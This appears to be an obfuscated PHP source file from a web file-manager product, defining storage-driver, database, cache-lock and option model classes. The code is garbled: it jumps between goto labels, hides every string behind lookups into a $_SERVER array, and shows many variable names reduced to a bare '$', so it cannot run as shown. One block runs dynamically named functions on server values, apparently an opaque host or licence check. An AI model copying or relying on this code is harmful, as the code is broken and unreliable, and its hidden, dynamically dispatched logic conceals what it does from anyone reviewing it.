$Ӆ = Cache::get($); if ($Ӆ) { return $Ӆ; } $˓ = array($[823] => $[399], $[2178] => $[76]); $ߡ = array($[823] => array($[7], $)); $Ӆ = Model($[795])->field($˓)->where($ߡ)->group($[823])->select(); $Ӆ = array_to_keyvalue($Ӆ, $[399], $[76]); Cache::set($, $Ӆ, 600); return $Ӆ; } public function getConfig($ᵟ) { $ = parent::listData($ᵟ); return json_decode($[$_SERVER[ö][6]], !0); } public function update($Ȑ, $ݪ) { $Ą =& $_SERVER[ö]; $ = $ݪ[$Ą[32]]; $Ӗ = array_to_keyvalue(parent::listData(), $Ą[32]); if (isset($Ӗ[$]) && $Ӗ[$][$Ą[399]] != $Ȑ) { return !1; } $this->checkPwd($Ȑ, $ݪ); if (isset($ݪ[$Ą[2179]]) && $ݪ[$Ą[2179]] == $Ą[88]) { $this->checkConfig($ݪ); } unset($ݪ[$Ą[2179]]); $ = parent::update($Ȑ, $ݪ); if ($ && $ݪ[$Ą[37]]) { $ = 0; foreach ($Ӗ as $͚) { if ($͚[$Ą[37]] && $͚[$Ą[399]] != $Ȑ) { $ = $͚[$Ą[399]]; parent::update($͚[$Ą[399]], array($Ą[37] => 0)); } } $this->updateBackup($Ȑ, $); } return $; } public function add($Ŕ) { $ =& $_SERVER[ö]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$Ŕ[$[32]]])) { return !1; } $this->checkConfig($Ŕ); $͵ = parent::insert($Ŕ); if ($͵ && $Ŕ[$[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[399]], array($[37] => 0)); } } } return $͵; } public function updateBackup($, $ͣ) { $퐘 =& $_SERVER[ö]; if (!$ͣ) { return; } $ = Model($퐘[755])->config(); if ($[$퐘[1646]] != $퐘[88] || $[$퐘[758]] != $ͣ) { return; } $ = Model($퐘[776])->get($퐘[786]); $ = json_decode($, !0); if (!$) { return; } $[$퐘[758]] = $; Model($퐘[776])->set(array($퐘[786] => $)); } public function checkPwd($, &$Ҵ֓) { $㙠 =& $_SERVER[ö]; if (empty($Ҵ֓[$㙠[6]])) { return; } $ɞѴ = json_decode($Ҵ֓[$㙠[6]], !0); $ڽ = $㙠[12]; $ = array($㙠[2180], $㙠[2181], $㙠[903]); foreach ($ as $) { if (isset($ɞѴ[$])) { $ڽ = $; break; } } if (!$ڽ) { return; } $髀 = $this->getConfig($); $Ȕа = $髀[$ڽ]; $ = $ɞѴ[$ڽ]; if ($ == str_repeat($㙠[188], strlen($Ȕа))) { $ɞѴ[$ڽ] = $Ȕа; $Ҵ֓[$㙠[6]] = json_encode($ɞѴ); } else { if ($ != $Ȕа) { $Ҵ֓[$㙠[2179]] = $㙠[88]; } } } public function checkConfig(&$, $ڀȋ = false) { $Ⱥ =& $_SERVER[ö]; $䉒؈ = strtolower($[$Ⱥ[95]]); $ = json_decode($[$Ⱥ[6]], !0); foreach ($ as $ => $ˮ) { $[$] = trim($ˮ); } $[$Ⱥ[2182]] = rand_string(6); $㠎 = $GLOBALS[$Ⱥ[6]][$Ⱥ[89]][$Ⱥ[832]]; $ = isset($㠎[$䉒؈]) ? $㠎[$䉒؈] : ucfirst($䉒؈); $ = $Ⱥ[74] . $; if (!$ || !class_exists($)) { if ($ڀȋ) { return LNG($Ⱥ[2183]); } write_log(array($Ⱥ[2184], $, get_caller_info()), $Ⱥ[2185]); show_json(LNG($Ⱥ[2183]), !1, $); } $ = new $($); if (in_array($䉒؈, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($Ⱥ[2186]); $ .= $Ⱥ[2187] . LNG($Ⱥ[2188]); if ($ڀȋ) { return $; } show_json($, !1); } } $Ԏ = rtrim($[$Ⱥ[1195]], $Ⱥ[8]) . $Ⱥ[8]; $쉒 = $->getPath($Ԏ . $Ⱥ[1199]); if (!$->mkfile($쉒)) { if ($ڀȋ) { return LNG($Ⱥ[2186]); } show_json(LNG($Ⱥ[2186]), !1); } $[$Ⱥ[1195]] = $Ԏ; $[$Ⱥ[6]] = json_encode($); $[$Ⱥ[95]] = $; return !0; } public function driverListSystem() { $쥑ݿ =& $_SERVER[ö]; $̅ = parent::listData(); $Ӿ = array(); foreach ($̅ as $) { unset($[$쥑ݿ[200]], $[$쥑ݿ[85]]); $[$쥑ݿ[6]] = json_decode($[$쥑ݿ[6]], !0); $Ӿ[] = $; } return $Ӿ; } public function defaultDriver() { $ =& $_SERVER[ö]; $ݺ = parent::listData(); $ɤ = array_filter_by_field($ݺ, $[37], 1); $ɤ = $ɤ[0]; if ($ɤ) { $ɤ[$[6]] = json_decode($ɤ[$[6]], !0); } return $ɤ; } public function driverInfo($ψ) { $ =& $_SERVER[ö]; $ף = array_to_keyvalue(parent::listData(), $[399]); if (!isset($ף[$ψ])) { return !1; } $ک = $ף[$ψ]; $ک[$[6]] = json_decode($ک[$[6]], !0); return $ک; } public function remove($Æ) { $this->removeShareItems($Æ); return parent::remove($Æ); } public function removeWithFile($, $ҽ) { $¢ =& $_SERVER[ö]; $ = array($¢[823] => $); $辆 = Model($¢[471])->where($)->count(); $ = Model($¢[471])->where($)->sum($¢[76]); $Ӝ = $ҽ . $¢[2189] . $; $ઓ = LNG($ҽ == $¢[557] ? $¢[2190] : $¢[2191]); $¤ = new TaskFileTransfer($Ӝ, $¢[2185], $辆, $ઓ . "\50{$}\51"); $¤->task[$¢[769]] = (double) $; $ = KodIO::defaultDriver(); $ޗ = $[$¢[399]]; $ = "\x7b\151\x6f\x3a{$ޗ}\x7d\57"; $ = !0; $٥ = array(); $È = Model($¢[199])->where($)->field($¢[2192])->select(); foreach ($È as $܂) { $ۺ = $܂[$¢[84]]; $Ϯ = $ . str_replace("\x7b\x69\x6f\x3a{$}\x7d\x2f", $¢[12], $ۺ); if (!IO::exist($ۺ)) { $٥[] = $܂[$¢[468]]; $¤->updateFileEnd($܂[$¢[32]], $܂[$¢[76]]); continue; } if (IO::exist($Ϯ)) { $¤->updateFileEnd($܂[$¢[32]], $܂[$¢[76]]); continue; } if (!IO::move($ۺ, get_path_father($Ϯ))) { $ = !1; break; } $ = array($¢[468] => $܂[$¢[468]]); $٠ = array($¢[823] => $ޗ, $¢[84] => $Ϯ); Model($¢[199])->where($)->save($٠); } $this->removeByFileID($٥); if (!$) { $¤->stop($Ӝ); return !1; } $¤->end(); if ($ҽ == $¢[1834]) { $this->remove($); } } public function progress($, $) { return Task::get($ . $_SERVER[ö][2189] . $); } private function removeByFileID($М = array()) { $֒ =& $_SERVER[ö]; if (empty($М)) { return; } $ɑ = array($֒[468] => array($֒[7], $М)); $Ⴋ = Model($֒[1350])->where($ɑ)->field($֒[402])->select(); if (!$Ⴋ) { return; } $Ⴋ = array_to_keyvalue($Ⴋ, $֒[12], $֒[402]); foreach ($Ⴋ as $Ñ) { Model($֒[416])->removeNow($Ñ, !1); } } private function removeShareItems($) { $ =& $_SERVER[ö]; $ψ = "\x7b\151\x6f\x3a{$}\175\x2f"; $ى = array($[402] => 0, $[1190] => array($[383], "{$ψ}\x25")); $ = Model($[1845])->where($ى)->field($[489])->select(); if (empty($)) { return; } $ݯ = array_to_keyvalue($, $[12], $[489]); Model($[601])->remove($ݯ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\x6d\56\114\x69\x67\150\164\101\160\x70"; public $modelType = "\123\171\163\x74\x65\155\x4f\x70\x74\151\157\x6e"; public $field = array("\x6e\141\155\145", "\147\162\x6f\165\x70", "\x64\145\x73\143", "\x63\157\156\x74\145\156\x74"); public function listData($ = false, $礅 = "\x6d\x6f\x64\151\146\171\x54\151\155\x65", $犉 = true) { return parent::listData($, $礅, $犉); } public function remove($DZ) { $ڄ = $this->findByName($DZ); if (!$ڄ) { return !1; } return parent::remove($ڄ[$_SERVER[ö][399]]); } public function add($ߢ) { if ($this->findByName($ߢ[$_SERVER[ö][32]])) { return !1; } return parent::insert($ߢ); } public function update($Ϟ, $ӄ) { $æ =& $_SERVER[ö]; $ = $this->findByName($Ϟ); $٫ = $this->findByName($ӄ[$æ[32]]); if (!$ || $٫ && $٫[$æ[399]] != $[$æ[399]]) { return !1; } return parent::update($[$æ[399]], $ӄ); } } goto b; F: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $֓؎ =& $_SERVER[ö]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$֓؎[6]] =& $config; $this->values[$֓؎[7]] =& $in; $this->tpl = TEMPLATE . MOD . $֓؎[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ć) { if (1 === func_num_args()) { $this->{$ć} = new $ć(); } else { $µ܅ = new ReflectionClass($ć); $㗣 = func_get_args(); array_shift($㗣); $this->{$ć} = $µ܅->newInstanceArgs($㗣); } return $this->{$ć}; } public function routeBind($ʯĬʋ, $«, $簫 = 3) { $מ =& $_SERVER[ö]; $ = $this->in[$מ[9]]; $ʯĬʋ = str_replace($מ[10], $מ[11], trim(trim($ʯĬʋ, $מ[8]), $מ[12])); if (!$ʯĬʋ || count($) <= $簫) { return !1; } $ = !0; $ = explode($מ[8], $ʯĬʋ); for ($÷ = 0; $÷ < count($); $÷++) { if ($[$÷] != $[$簫 + $÷]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $«), array()); } public function routeArgs($ = 3) { $ܴ = $this->in[$_SERVER[ö][9]]; if (count($ܴ) <= $) { return array(); } $ = array(); for ($ِ = $; $ِ < count($ܴ); $ِ += 2) { $[$ܴ[$ِ]] = $ܴ[$ِ + 1]; $this->in[$ܴ[$ِ]] = $ܴ[$ِ + 1]; } return $; } protected function assign($ﶒ, $܃̭) { $this->values[$ﶒ] = $܃̭; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ٍ = '') { $ֱ =& $_SERVER[ö]; if (!extension_loaded($ֱ[13])) { think_exception(think_lang($ֱ[14]) . $ֱ[15]); } if (!empty($ٍ)) { if (!isset($ٍ[$ֱ[16]])) { $ٍ[$ֱ[16]] = 438; } $this->config = $ٍ; if (empty($this->config[$ֱ[17]])) { $this->config[$ֱ[17]] = array(); } } } public function connect($ = '', $Ť = 0) { $ =& $_SERVER[ö]; if (!isset($this->linkID[$Ť])) { if (empty($)) { $ = $this->config; } $ɢ߿ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; $ = $ɢ߿ ? $[19] : $[20]; $this->linkID[$Ť] = $($[$[21]], $[$[16]]); if (!$this->linkID[$Ť]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$Ť], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$Ť]; } public function free() { $this->queryID = null; } public function query($) { $ˉޙ =& $_SERVER[ö]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ˉޙ[23], 1); think_status($ˉޙ[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $Ğ = $this->getAll(); return $Ğ; } } public function execute($) { $IJ =& $_SERVER[ö]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($IJ[25], 1); think_status($IJ[24]); $ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ö][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $н = sqlite_query($this->_linkID, $_SERVER[ö][27]); if (!$н) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[ö][28]); if (!$ ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Ƿ = array(); if ($this->numRows > 0) { for ($ʯ = 0; $ʯ < $this->numRows; $ʯ++) { $Ƿ[$ʯ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $Ƿ; } public function getFields($âۅ) { $ =& $_SERVER[ö]; $뎘 = $this->query($[29] . $âۅ . $[30]); $ = array(); if ($뎘) { foreach ($뎘 as $ԏ => $̯) { $[$̯[$[31]]] = array($[32] => $̯[$[31]], $[33] => $̯[$[34]], $[35] => (bool) ($̯[$[36]] === $[12]), $[37] => $̯[$[38]], $[39] => strtolower($̯[$[40]]) == $[41], $[42] => strtolower($̯[$[43]]) == $[44]); } } return $; } public function getTables($ø = '') { $ˌ =& $_SERVER[ö]; $݂ = $this->query($ˌ[45] . $ˌ[46] . $ˌ[47]); $ћ = array(); foreach ($݂ as $ => $) { $ћ[$] = current($); } return $ћ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $Ȳ =& $_SERVER[ö]; $س = sqlite_last_error($this->_linkID); $this->error = $س . $Ȳ[4] . sqlite_error_string($س); if ($Ȳ[12] != $this->queryStr) { $this->error .= LNG($Ȳ[48]) . $this->queryStr; } think_trace($this->error, $Ȳ[12], $Ȳ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ =& $_SERVER[ö]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ =& $_SERVER[ö]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $۞ = 0) { $ =& $_SERVER[ö]; if (!isset($this->linkID[$۞])) { if (empty($)) { $ = $this->config; } $this->linkID[$۞] = new SQLite3($[$[21]]); if (!$this->linkID[$۞]) { think_exception($this->linkID[$۞]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$۞]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$۞]; } public function free() { $this->queryID = null; } public function query($ȃǔ) { $ =& $_SERVER[ö]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ȃǔ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($ȃǔ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($) { $튃 =& $_SERVER[ö]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($튃[25], 1); think_status($튃[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ö][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ö][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ö][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($ৌ) { $ൈ =& $_SERVER[ö]; $쒁 = $this->query($ൈ[29] . $ৌ . $ൈ[30]); $ = array(); if ($쒁) { foreach ($쒁 as $⫶ => $) { $[$[$ൈ[32]]] = array($ൈ[32] => $[$ൈ[32]], $ൈ[33] => $[$ൈ[33]], $ൈ[35] => (bool) ($[$ൈ[35]] === $ൈ[12]), $ൈ[37] => $[$ൈ[56]], $ൈ[39] => (bool) $[$ൈ[57]], $ൈ[42] => (bool) $[$ൈ[57]]); } } return $; } public function getTables($и = '') { $ =& $_SERVER[ö]; $냇 = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($냇 as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $م܆ =& $_SERVER[ö]; $this->error = $this->_linkID->lastErrorMsg(); if ($م܆[12] != $this->queryStr) { $this->error .= LNG($م܆[48]) . $this->queryStr; } think_trace($this->error, $م܆[12], $م܆[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[ö]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $Я =& $_SERVER[ö]; $ = $Я[12]; if (!empty($)) { $ = explode($Я[50], $); if (count($) > 1) { $ .= $Я[51] . $[1] . $Я[52] . $[0] . $Я[53]; } else { $ .= $Я[51] . $[0] . $Я[53]; } } return $; } } goto fˇ겡; A밮̉: class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[ö][1350]); } public function getPathOuter($썞) { $֓֨ =& $_SERVER[ö]; if (!$썞) { return $썞; } $ޏ = $this->parse($썞); return trim(KodIO::makeShare($this->pathParse[$֓֨[399]], $ޏ[$֓֨[399]]), $֓֨[8]); } protected function infoParse($Ć, $ = false, $ = false) { $ =& $_SERVER[ö]; $Ƃ = $this->pathParse[$[399]]; $ = trim($this->pathParse[$[1183]], $[8]); return Action($[1358])->sharePathInfo($Ƃ, $, $); } public function infoFull($) { $ݍ =& $_SERVER[ö]; $墑 = explode($ݍ[8], trim($, $ݍ[8])); if (count($墑) > 1) { $탭 = implode($ݍ[8], array_splice($墑, 1)); $춃 = $this->model->pathInfoByPath($墑[0], $탭); if (!$춃) { return !1; } $this->pathParse[$ݍ[1183]] = $춃[$ݍ[402]]; } return $this->infoParse($); } public function listAll($) { $ =& $_SERVER[ö]; $չ = IO::info($this->pathParse[$[84]]); if (!$չ) { return array(); } $ڊ = $this->model->listAll($); $ڶ = Model($[601])->getInfo($չ[$[489]]); $ٕϸ = Action($[1358]); foreach ($ڊ as &$) { check_abort(); $[$[86]] = $ٕϸ->_shareItemeParse($[$[86]], $ڶ); } unset($); return $ڊ; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($͊) { $this->pathParse = $͊; $this->model = Model($_SERVER[ö][1350]); } protected function infoParse($ڃސ, $ǡ = false, $ɱ = false) { $ڸ =& $_SERVER[ö]; return Action($ڸ[1189])->sharePathInfo($this->pathParse[$ڸ[84]], !0, $ǡ); } public function listPath($ȹƃ, $њ = false) { $Ф =& $_SERVER[ö]; $䈲 = parent::listPath($ȹƃ, $њ); if (!$䈲) { return $䈲; } if (is_array($䈲[$Ф[1359]])) { $䈲[$Ф[1359]] = Action($Ф[1189])->shareItemInfo($䈲[$Ф[1359]]); } foreach ($䈲 as $͚ն => $〱) { if (!in_array($͚ն, array($Ф[83], $Ф[82]))) { continue; } foreach ($〱 as $ƕ => $ǒ) { $䈲[$͚ն][$ƕ] = Action($Ф[1189])->shareItemInfo($ǒ); } } return $䈲; } public function listAll($) { $Ś =& $_SERVER[ö]; $³ = IO::info($this->pathParse[$Ś[84]]); if (!$³) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$Ś[86]] = Action($Ś[1189])->shareItemInfo($[$Ś[86]]); } unset($); return $; } } $_file = $_SERVER[$_SERVER[ö][847]]; goto C; aĽ: if ($_SERVER[$_SERVER[ö][840]] != $_SERVER[$_SERVER[ö][841]]) { $_getc = $_SERVER[ö][842]; $_getfile = $_SERVER[$_SERVER[ö][843]] . $_SERVER[ö][844]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ö][231], $_getfilec); if (count($_getarrs) < $_SERVER[ö][619]) { $exit = $_SERVER[ö][845]; $exit(); } $_act = $_SERVER[ö][846]; $_act($_SERVER[$_SERVER[ö][847]]); } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $߮ =& $_SERVER[ö]; $this->cachePath = $[$߮[84]]; $this->prefix = $߮[848]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($݅Ƥ) { $Ї =& $_SERVER[ö]; $݅Ƥ = str_replace(array($Ї[849], $Ї[97], $Ї[73]), $Ї[850], $݅Ƥ); return $this->cachePath . $Ї[851] . $݅Ƥ . $Ї[852]; } public function set($뀺, $ے, $ = false) { $ = $ ? $ : $this->cacheTime; $ = $this->getFile($뀺); if (file_put_contents($, $this->prefix . $ے, LOCK_EX)) { @touch($, intval(time() + $)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($ڞ) { $ = $this->getFile($ڞ); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[ö]; $ = scandir($this->cachePath); foreach ($ as $ꃞ) { $ = $this->cachePath . $ꃞ; if (strpos($, $[852]) && strpos($, $[853])) { @unlink($); } } } public function clearTimeout() { $û =& $_SERVER[ö]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $û[852]) && strpos($, $û[853]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[ö]; if (self::$handle) { return self::$handle; } $ﳮ = $GLOBALS[$[6]][$[349]]; self::$timeout = $ﳮ[$[854]] ? $ﳮ[$[854]] : 10; $咷 = _get($GLOBALS[$[6]], $[855]); $ = $ﳮ[$[833]] ? $ﳮ[$[833]] : $[199]; if ($ == $[21] && $咷 == $[13]) { $ = $[199]; } switch ($) { case $[836]: self::$handle = new CacheLockRedis(); break; case $[837]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[199]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[856], $[857]); } return self::$handle; } private static function key($֭) { return $_SERVER[ö][858] . Cache::key($֭); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ӏ = '') { self::$errorMsg = $ӏ; } public static function lockGlobal($Ϻ, $Όޟ) { return self::lock($Ϻ, $Όޟ, !0); } public static function lock($, $Ϸ = false, $ò = false) { $Ĥ =& $_SERVER[ö]; $ = self::init(); $ͦ = self::key($); $Ϸ = $Ϸ ? $Ϸ : self::$timeout; $猗 = timeFloat(); $ = $->lock($ͦ, $Ϸ); $ = timeFloat(); if (!$) { $ۓ = "\154\x6f\143\153\x20\145\x72\162\x6f\x72\x3b\x6b\145\x79\x3d{$}\x3b\x74\151\x6d\145\x3d{$Ϸ}\73" . self::$errorMsg . $Ĥ[71] . get_caller_msg(); $ = LNG($Ĥ[859]) . "\50{$Ϸ}\163\51\56" . LNG($Ĥ[860]); $ .= $Ĥ[861]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $Ĥ[862] . self::$errorMsg; } write_log($Ĥ[863] . sprintf($Ĥ[864], timeFloat() - $猗) . $Ĥ[865] . $ۓ . $Ĥ[866] . error_get_last(), $Ĥ[857]); show_json($, !1); } if (!$ò) { self::$lockItem[$ͦ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ݲ = number_format(timeFloat() - $, 3); write_log($Ĥ[867] . $ . $Ĥ[868] . $ݲ, $Ĥ[857]); } return $; } public static function lockGet($ʼ) { $ӏÞ = self::key($ʼ); if (self::$lockItem[$ӏÞ]) { return self::$lockItem[$ӏÞ]; } return self::init()->lockGet($ӏÞ); } public static function unlock($) { $Φϱ =& $_SERVER[ö]; $ƚ = self::key($); self::$lockItem[$ƚ] = null; self::init()->unlock($ƚ); if (GLOBAL_DEBUG_LOG_ALL) { write_log($Φϱ[869] . $, $Φϱ[857]); } return; } public static function unlockRuntime() { $Љ =& $_SERVER[ö]; $ = self::init(); $骂 = !1; foreach (self::$lockItem as $Ѧ => $) { if (!$) { continue; } $->unlock($Ѧ); if (!$骂) { $骂 = !0; write_log($Љ[870] . $Ѧ . $Љ[71] . get_caller_msg(), $Љ[857]); continue; } write_log($Љ[870] . $Ѧ, $Љ[857]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ēɏ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($Љ[871] . $ēɏ . $Љ[872] . ACTION, $Љ[857]); } } public static function fileLock($Ԩҁ) { $ =& $_SERVER[ö]; if (!$GLOBALS[$[873]]) { $GLOBALS[$[873]] = array(); } $GLOBALS[$[873]][$Ԩҁ] = !1; $ = fopen(DATA_PATH . $Ԩҁ . $[874], $[875]); if (!$) { return !1; } $GLOBALS[$[873]][$Ԩҁ] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($Ԩҁ); show_json($[876], !1); return !1; } public static function fileUnlock($їȀ) { $ֿ =& $_SERVER[ö]; $ۅ = $GLOBALS[$ֿ[873]][$їȀ]; if (!$ۅ) { return; } $GLOBALS[$ֿ[873]][$їȀ] = !1; flock($ۅ, LOCK_UN); fclose($ۅ); } public static function fileUnlockAll() { $Ƌ =& $_SERVER[ö]; if (!$GLOBALS[$Ƌ[873]]) { return; } foreach ($GLOBALS[$Ƌ[873]] as $ݬɇ => $ʹ̞) { if (!$ʹ̞) { continue; } $GLOBALS[$Ƌ[873]][$ݬɇ] = !1; flock($ʹ̞, LOCK_UN); fclose($ʹ̞); } $GLOBALS[$Ƌ[873]] = array(); } } goto aݯ; e쫣: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($Ƽ = false, $똇 = '', $ = false) { $Ɯ =& $_SERVER[ö]; $ = $this->cacheGet($똇); $ν = $this->optionDefault($똇); $ν = is_array($ν) ? $ν : array(); if (is_array($)) { $ = array_merge($ν, $); return $Ƽ ? isset($[$Ƽ]) ? $[$Ƽ] : null : $; } $ = $this->filterWhere(array($Ɯ[33] => $똇)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $Ɯ[94], $Ɯ[374]); foreach ($ as $ => $) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($똇, $); $ = array_merge($ν, $); return $Ƽ ? $[$Ƽ] : $; } public function set($, $ = false, $ = '') { $ϋ =& $_SERVER[ö]; $this->cacheRemove($); $ = array(); $ő = is_array($) ? $ : array($ => $); foreach ($ő as $ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $ϋ[4] . $); $ = self::textEncode($); $ő = array($ϋ[33] => $, $ϋ[94] => $, $ϋ[374] => $); $[] = $this->filterWhere($ő); } if (!$) { return !0; } $ܬ = $this->cacheKey($ϋ[400]); CacheLock::lock($ܬ); $ = $this->addAll($, array(), !0); CacheLock::unlock($ܬ); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $Ζ = '') { $Ԡ = explode($_SERVER[ö][10], $); $ = $this->get(); array_set_value($, $, $); $this->set($Ԡ[0], $[$Ԡ[0]], $Ζ); } public function remove($, $庫 = '') { $̱ٲ =& $_SERVER[ö]; $this->cacheRemove($庫); $ߝ = $this->filterWhere(array($̱ٲ[94] => $, $̱ٲ[33] => $庫)); if (is_null($)) { unset($ߝ[$̱ٲ[94]]); } return $this->where($ߝ)->delete(); } public function cacheSet($ț, $ = false) { return Cache::set($this->cacheKey($ț), $); } public function cacheGet($ޟŞ) { return Cache::get($this->cacheKey($ޟŞ)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\x75\x72\x63\145"; protected $tableMeta = array("\164\141\142\x6c\x65\116\141\155\x65" => "\151\x6f\137\163\157\165\x72\x63\x65\137\x6d\x65\164\x61", "\155\145\x74\x61\106\x69\145\154\144" => "\163\x6f\165\x72\143\x65\x49\x44"); protected $dataAuto = array(array("\x6d\x6f\144\x69\146\171\124\151\x6d\x65", "\164\151\x6d\145", "\x69\x6e\163\x65\162\x74", "\x66\x75\x6e\143\164\151\x6f\x6e"), array("\x63\x72\x65\141\164\145\124\151\155\x65", "\x74\x69\x6d\145", "\151\156\163\145\x72\x74", "\x66\x75\x6e\143\x74\151\157\x6e"), array("\166\151\145\167\x54\151\155\x65", "\164\x69\x6d\145", "\151\156\x73\145\162\164", "\x66\x75\156\143\x74\x69\x6f\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($Џ) { return $this->listSource(array($_SERVER[ö][401] => $Џ)); } public function typeName($ӉȪ) { static $ = array(self::TYPE_SYSTEM => "\163\171\x73\164\x65\x6d", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\147\x72\x6f\165\x70"); return $[$ӉȪ . $_SERVER[ö][12]]; } public function sourceListInfo($Ç, $ҕ = false) { $쎣 =& $_SERVER[ö]; $Ç = $Ç ? $Ç : array(); $Ç = array_filter(array_unique($Ç)); if (!$Ç) { return array(); } $ = $this->where(array($쎣[402] => array($쎣[7], $Ç)))->select(); $this->_listDataApply($, $ҕ); return array_to_keyvalue($, $쎣[402]); 